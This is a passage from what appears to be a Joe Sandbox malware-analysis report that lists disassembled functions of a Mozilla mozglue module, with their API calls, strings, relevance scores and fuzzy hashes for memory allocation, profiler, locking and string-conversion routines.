strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268
MOZ_CRASH(), xrefs: 6C65227D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

